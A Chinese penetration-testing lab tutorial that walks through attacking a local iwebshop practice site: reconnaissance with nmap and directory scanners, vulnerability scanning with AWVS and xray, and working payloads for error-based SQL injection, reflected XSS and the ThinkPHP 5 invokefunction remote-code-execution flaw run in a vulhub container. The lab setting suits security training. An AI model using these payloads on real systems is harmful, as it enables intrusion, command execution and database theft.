项目实战(webshop)

一、搭建靶场webshop(www.example1.com)

二、信息收集

1、获取IP

win+R→cmd→ping www.example1.com→显示出ip(192.168.51.128)

注:TTL为IP包的生存时间,拿到TTL我们可以大概的判断一下目标机器的操作系统,但不是很准确,因为TTL是可以修改的,TTL=64:Linux  TTL=128:windows

这里获得到的TTL=64,大概可以判断服务器为Linux系统

2、nmap

打开kali→查看nmap版本(nmap -v)确定安装了nmap→执行探测命令:

nmap -o -sv 192.168.51.128

# -o表示要探测目标主机的操作系统

# -sv表示要探测目标主机的版本指纹

nmap -p 192.168.51.128  #探测目标主机的端口

收集到的信息有:Linux操作系统,开放端口:20、21、22、80、443、888

3、敏感目录

在浏览器测试常见的敏感目录(/admin、/web.config、/roobts.txt),如果没有可以尝试使用各种目录扫描工具扫描(如御剑、铸剑、dirsearch、dirmap等)

注:常见的敏感目录这个站点都能访问,这里使用工具来进行扫描

3.1、铸剑(7kbscan)

打开铸剑→扫描目标(www.example1.com)→切换加载dir→选择字典→开始

根据扫描结果可以判定目标站点有admin页面而且编程语言是php,但是访问扫描成功的URL发现都是在主页。经过研判发现这个规则为只要URL中存在后缀名、点或者一些特殊字符则会显示主页,否则显示自定义的错误页面。其实这也是一种防止目录扫描的方式,这种方式与waf拦截不同,waf拦截我们可以尝试修改UA头,挂代理,延迟等方式来绕过,而这种方式无法被绕过。

遇到这种情况我们可以换一种工具来进行目录扫描,如dirmap

3.2、dirmap

打开kali→dirmap需要一个python3的环境才能运行,检查环境(python --version、pip --version)→没安装dirmap的话需要先安装一下→打开dirmap(1、cd  /opt/dirmap   #安装在了opt下   

2、python3  dirmap.py  -h    #可用 -i和 -lcf两个参数)→开始扫描目标站点(python3  dirmap.py  -i  www.example1,com  -lcf)→扫描结果放在了output目录下,打开看看(cd  output      vim  www.example1.com,txt)

收集到的信息有:存在/admin目录且编程语言是php

4、其他信息

通过观察,我们发现站点底部信息,还能得知待测试站点基于iwebshop开发,可以去网上找一下iwebshop已知漏洞

5、信息汇总

目前收集到的信息有:

        域名:www.example1.com              IP:192.168.51.128

        操作系统:Linux                              开放端口:20、21、22、80、443、888

        开发语言:PHP                               cms:iwebshop

        后台登陆地址:http://www.example1.com/admin/

三、web漏洞

1、通用扫描工具AWVS

1.1、安装

1.2、设置中文

1.3、扫描目标

1.4、验证漏洞

可以看到里面包含xss漏洞,可以试着攻击一下

再试试sql注入

爆数据库版本:'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and 'VrnL'='VrnL   得到数据库版本为:5.7.43-log

爆数据库用户名:'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) and 'VrnL'='VrnL       得到数据库名:www_example1_com@localhost

再试试反射型xss

http://www.example1.com/index.php?action=search_list&controller=site&word=1'''><script>alert(xss)</script>

直接弹窗

2、框架漏洞

程序员在编写程序的时候,都会用到一些框架,不同的语言有不同的框架,例如JAVA的spring,python的diango,php的ThinkPHP等。

下面以ThinkPHP为例学习一下框架漏洞

ThinkPHP版本有很多,现在主要是ThinkPHP5和ThinkPHP6,接下来我们看几个漏洞 接下来我们通过vulhub靶场来复现 首先要安装docker、docker-compose,同样是用到了kali虚拟机

安装docker和docker-compose #添加docker的gpg密钥,签名用的                                              curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -      #添加docker的apt源                                                                                                                       echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list                                                                                                         #更新apt缓存                                                                                                                                apt update                                                                                                                                          #安装docker                                                                                                                                sudo apt-get install docker docker-compose -y     或                                                                        sudo apt-get install docker.io -y                                                                                                    sudo apt-get install docker-compose -y                                                                                            #如果docker-compose安装有问题,可以用以下命令安装                                                              sudo curl -L https://github.com/docker/compose/releases/download/1.16.1/docker/compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose                                                                #装完之后执行以下命令,添加权限                                                                                                    sudo chmod +x /usr/local/bin/docker-compose                                                                                   #安装完成之后,docker就自动启动了                                                                                  systemctl status docker                                                                                                                    #查看docker版本                                                                                                                         docker -v

docker安装好之后再来安装vulhub靶场

cd到vulhub目录下(vulhub靶场已安装好),可以看到有很多框架对应的目录,同时也有我们要用到的thinkphp → cd到thinkphp目录下,可以看到有几个漏洞可以复现,其中有5-rce和5.0.23-rce,接下来来学习一下这两个漏洞

首先来删除一下之前执行过的docker容器:docker  rm  -f  ‘容器名’

2.1、ThinkPHP5.0.22/5..1.29远程代码执行漏洞

清空之后我们再将5-rce拉起来

cd  5-rce     docker-compose  up  -d → 出现错误,需要配置docker代理服务器(配置好后直接访问kali的ip地址192.168.51.129端口号8080,就可以进入靶场),进入网页→打开burp抓包→发送到Repeater,关闭拦截→将Poc(http://192.168.79.137:8081/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_e xec&vars[1][]=id)粘贴到请求框中,发送请求→响应包中得到我们请求的id值→将Poc中的id改为ls,就能执行ls命令拿到目录下的所有文件和目录名称

至此就完成了一次远程命令执行

四、系统漏洞探针

扫描器分为两种,web漏洞扫描器和系统漏洞扫描器,前面我们用到的AWVS就是web漏洞扫描器 有些web漏洞扫描器也能扫描一些系统漏洞,但是没有专业的系统漏洞扫描器那么强大,系统漏洞扫描器涵盖了系统中数据库的漏洞、操作系统漏洞、系统软件漏洞(ssh、ftp等)、web服务应用程序漏洞等web漏洞扫描一般是扫描web程序漏洞,系统漏洞扫描器比较出名的有:启明星辰的天镜、绿盟科技的极光漏洞扫描器。

1、Goby

Goby是一款新的网络安全测试工具,它能够针对一个目标企业梳理最全的攻击面信息同时能进行高效、实战化漏洞扫描并快速地从一个验证入口点,切换到横向。

2、Nessus

Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件,国外开发的总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件,可以以用户指定的格式(ASCII 文本、html 等)产生详细的输出报告,包括目标的脆弱点、怎样修补漏洞以防止黑客入侵及危险级别。

3、漏洞利用(ms17-010)

我们复现用到的工具是msf,全称是Metasploit Fraemework,是一个非常好用而且简单的工具 其中准备了大量的模块共使用,输入命令就可以直接完成测试 同样,还是用到我们熟悉的kali虚拟机。

过程:永恒之蓝漏洞复现(可查找其他文章,这里不再赘述)

五、Xray

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:                                                                                                                                                检测速度快:发包速度快; 漏洞检测算法效率高。                                                                              支持范围广:大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。      代码质量高:编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码 可靠性。                                                                                                                                    高级可定制:通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。            安全无威胁:xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为 无害化检查。

1、下载和运行

2、扫描单个url

xray有四种模式,单个url扫描,多个url扫描,爬虫模式,代理模式

单个url扫描:

.\xray_windows_amd64.exe webscan --url http://www.example1.com/ --html-output 1.html

只扫描出三个敏感目录

扫描sql注入漏洞,需要给它指定携带参数的url,不然xray也扫描不出来sql注入漏洞。

.\xray_windows_amd64.exe webscan --url http://www.example1.com/index.php? action=search_list'&'controller=site'&'word=1 --html-output 2.html

扫描出的结果就比较多,有xss,有sql

注意:为什么使用 --url 指定目标扫描很快就结束了? 在指定 --url URL 的情况下,xray 只会针对该 URL 本身进行漏洞检测,不会爬取网站内容。 比如,你输入 --url https://baidu.com ,xray 只会检测百度首页的漏洞,这种情况下通常是无法扫描出漏洞的。如果你需要利用爬虫爬取页面后再检测漏洞,可以使用 --basic-crawler 选项。

3、扫描多个url

准备url.txt文件                                                                                                                                           965c9f787c9e4a17a674cddf45aa57ab.png扫描命令:.\xray_windows_amd64.exe webscan --url-file .\url.txt --html-output 3.html                    扫描出来结果是差不多的,只不过是执行了多个单个url扫描而已。

4、爬虫模式

4.1、没有登录扫描

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 4.html

没有登陆的扫描,直接执行命令就行了,我们原理和AWVS差不多,都是用爬虫去爬数据,所以耗时会 久一点。

4.2、指定登录扫描

修改配置文件

a0a73031bcbf43f1bb8bf2456291e0aa.png

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 5.html

结果中发的数据包都带上了Cookie

5、代理模式

接下来呢,我们来讲讲代理模式,这是和其他扫描工具不同的,也是xray的一个特点 xray的代理模式类似于burp,是被动扫描,但是比burp自动化更高 现在市面上用xray很多,就是因为它的爬虫模式和代理模式结合。

5.1、扫描http

输入命令:.\xray_windows_amd64.exe webscan --listen 0.0.0.0:8080 --html-output 1.html                       # --listen 监听,就是代理模式 这里我们监听的0.0.0.0,意思是所有IP的数据,端口是8080            # --html-output 将结果导出html格式的文件

→这就是开始监听了,然后我们设置一下代理 在任务栏搜索一下“代理”,点击代理服务器设置→打开浏览器,访问靶机的网站→可以看到,我们xray就已经监听到有数据流过来了→输入ctrl+c,中断监听→在xray的文件夹下面就生成了一个1.html

5.2、安装证书、扫描https

我们的靶场是http的网页,如果想要扫https的网页怎么办呢 我们要先安装证书 可以看到我们运行了xray的监听模式之后,文件夹下会生成一个ca.crt文件,这个就是证书。安装好证书之后就可以直接扫https的网站了。

5.3、联动burp

xray还可以和burp联动 有两种模式,一种是xray将数据包转给burp,另一种是burp抓到包之后再转给burp 第一种,这种模式主要是用来研究xray用的,可以用burp看到和学习xray的一些payload。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/920462.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

初识算法 · 分治(3)

目录 前言&#xff1a; 归并排序 题目解析 算法原理 算法编写 求逆序对总数 题目解析 算法原理 算法编写 前言&#xff1a; ​本文的主题是分治&#xff0c;通过两道题目讲解&#xff0c;一道是归并排序&#xff0c;一道是求逆序对。 链接分别为&#xff1a; 912. 排…

MyBatis——#{} 和 ${} 的区别和动态 SQL

1. #{} 和 ${} 的区别 为了方便&#xff0c;接下来使用注解方式来演示&#xff1a; #{} 的 SQL 语句中的参数是用过 ? 来起到类似于占位符的作用&#xff0c;而 ${} 是直接进行参数替换&#xff0c;这种直接替换的即时 SQL 就可能会出现一个问题 当传入一个字符串时&#xff…

学习threejs,导入FBX格式骨骼绑定模型

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.FBXLoader fbx 模型加…

【腾讯云产品最佳实践】腾讯云CVM入门技术与实践:通过腾讯云快速构建云上应用

目录 前言 什么是腾讯云CVM&#xff1f; 腾讯云CVM的技术优势 基于最佳技术实践&#xff0c;使用腾讯云CVM搭建应用 1. 开通CVM实例 2. 连接CVM实例 3. 配置Web环境 4. 部署PHP应用 腾讯云CVM行业应用案例&#xff1a;电商平台的双十一攻略 1. 弹性伸缩解决高并发问题…

mongodb多表查询,五个表查询

需求是这样的&#xff0c;而数据是从mysql导入进来的&#xff0c;由于mysql不支持数组类型的数据&#xff0c;所以有很多关联表。药剂里找药物&#xff0c;需要药剂与药物的关联表&#xff0c;然后再找药物表。从药物表里再找药物与成分关联表&#xff0c;最后再找成分表。 这里…

STL中vector实现——简单易懂版

本章内容 模拟实现 vector 的部分重要功能 1.迭代器的引入1.1 之前写法1.2 STL库中的写法 2.默认成员函数2.1构造与拷贝构造2.2拷贝赋值2.3析构函数 3.增删查改功能3.1插入3.2删除 4.为什么STL中vector没有find函数&#xff1f;5.&#x1f525;&#x1f525;迭代器失效场景&am…

Springboot + vue 健身房管理系统项目部署

1、前言 ​ 许多人在拿到 Spring Boot 项目的源码后&#xff0c;不知道如何运行。我以 Spring Boot Vue 健身房管理系统的部署为例&#xff0c;详细介绍一下部署流程。大多数 Spring Boot 项目都可以通过这种方式部署&#xff0c;希望能帮助到大家。 ​ 2、项目查看 ​ 首…

NuGet如何支持HTTP源

今天是2024年11月21号&#xff0c;最近更新了VisualStudio后发现HTTP的包源已经默认禁止使用了&#xff0c;生成时会直接报错。如下图&#xff1a; 官方也明确指出了要想使用HTTP包源的解决办法&#xff0c;这里就简单总结一下。 一、全局配置 1、全局NuGet包的配置文件路径在…

SpringBoot学习记录(四)之分页查询

SpringBoot学习记录&#xff08;四&#xff09;之分页查询 一、业务需求1、基本信息2、请求参数3、相应数据 二、传统方式分页三、使用PageHelper分页插件 一、业务需求 根据条件进行员工数据的条件分页查询 1、基本信息 请求路径&#xff1a; /emps 请求方式&#xff1a; …

JavaParser如何获取方法的返回类型

使用JavaParser 如何获取一个Java类中的某个方法的返回类型呢&#xff1f; 假如有一个如下的简单的Java 类&#xff1a; /*** Copyright (C) Oscar Chen(XM):* * Date: 2024-11-21* Author: XM*/ package com.osxm.ai.sdlc.codeparse.codesample;public class MyClass {public…

2024亚太杯国际赛C题宠物预测1234问完整解题思路代码+成品参考文章

中国宠物业发展趋势及预测模型 一、问题背景与研究目标 近年来&#xff0c;中国宠物业经历了快速发展&#xff0c;特别是在城市化进程加快、人口结构变化和消费水平提升的背景下&#xff0c;宠物作为家庭成员的角色变得愈发重要。根据相关数据&#xff0c;中国宠物数量&#…

Java实现离线身份证号码OCR识别

最近公司要求做离线身份证OCR功能&#xff0c;找了一圈总算是找到了&#xff0c;在这里对文档做个整理&#xff0c;方便后来者&#xff0c;感谢码龄23年博主的分享 系统&#xff1a;Windows11&#xff0c;红旗Linux Asianux8.1 文档中Linux全root用户操作&#xff1b;需先安装…

Gradle核心概念总结

这部分内容主要根据 Gradle 官方文档整理&#xff0c;做了对应的删减&#xff0c;主要保留比较重要的部分&#xff0c;不涉及实战&#xff0c;主要是一些重要概念的介绍。 Gradle 这部分内容属于可选内容&#xff0c;可以根据自身需求决定是否学习&#xff0c;目前国内还是使用…

鸿蒙网络编程系列50-仓颉版TCP回声服务器示例

1. TCP服务端简介 TCP服务端是基于TCP协议构建的一种网络服务模式&#xff0c;它为HTTP&#xff08;超文本传输协议&#xff09;、SMTP&#xff08;简单邮件传输协议&#xff09;等高层协议的应用程序提供了可靠的底层支持。在TCP服务端中&#xff0c;服务器启动后会监听一个或…

第5-1节:SpringBoot对SpringMVC的自动配置

我的后端学习大纲 SpringBoot学习大纲 1、SpringBoot对SpringMVC自动配置概览

Emacs进阶之插入时间信息(一百六十三)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

嵌入式实验报告:家用计时器

实验目的和要求 1、实验目的 掌握STM32串口通信原理。学习编程实现STM32的UART通信掌握STM32中断程序设计流程。熟悉STM32固件库的基本使用。熟悉STM32定时器中断设计流程。2、实验要求 设计一个家用计时器,其功能如下: 利用串口设置计时时间,格式:XX:XX:X 例如01:59:…

【WRF理论第十二期】Registry.EM 文件详解

【WRF理论第十二期】Registry.EM 文件详解 Registry.EM 文件的作用Registry.EM 文件的结构Registry.EM 文件内容理解如何修改 Registry.EM 文件以输出特定变量WRF-Urban 修改 Registry.EM 文件以输出 UCM 相关变量1. 修改 Registry.EM 文件2. 重新编译 WRF 注意事项参考 在 WRF…

Midjourney 图生图,真人二次元保持一致性,场景多元可选择

Midjourney 拥有强大的图生图的功能&#xff0c;下面我们就来看一下&#xff0c;如何在我们的AceDataCloud网站上实现将照片切换成任意的二次元场景&#xff0c;同时保持人物的一致性。 我们可以按照如下的步骤去实现人物一致性。 下面我们来看看效果吧&#xff0c;原图如下。…

三种复制只有阅读权限的飞书网络文档的方法

大家都知道&#xff0c;飞书是一款功能强大的在线协作工具&#xff0c;可以帮助团队更高效地协作和沟通。越来越多的资料都在使用飞书文档&#xff0c;在使用飞书的过程中&#xff0c;发现很多文档没有复制权限&#xff0c;如果想要摘抄笔记&#xff0c;只能一个字一个字地敲出…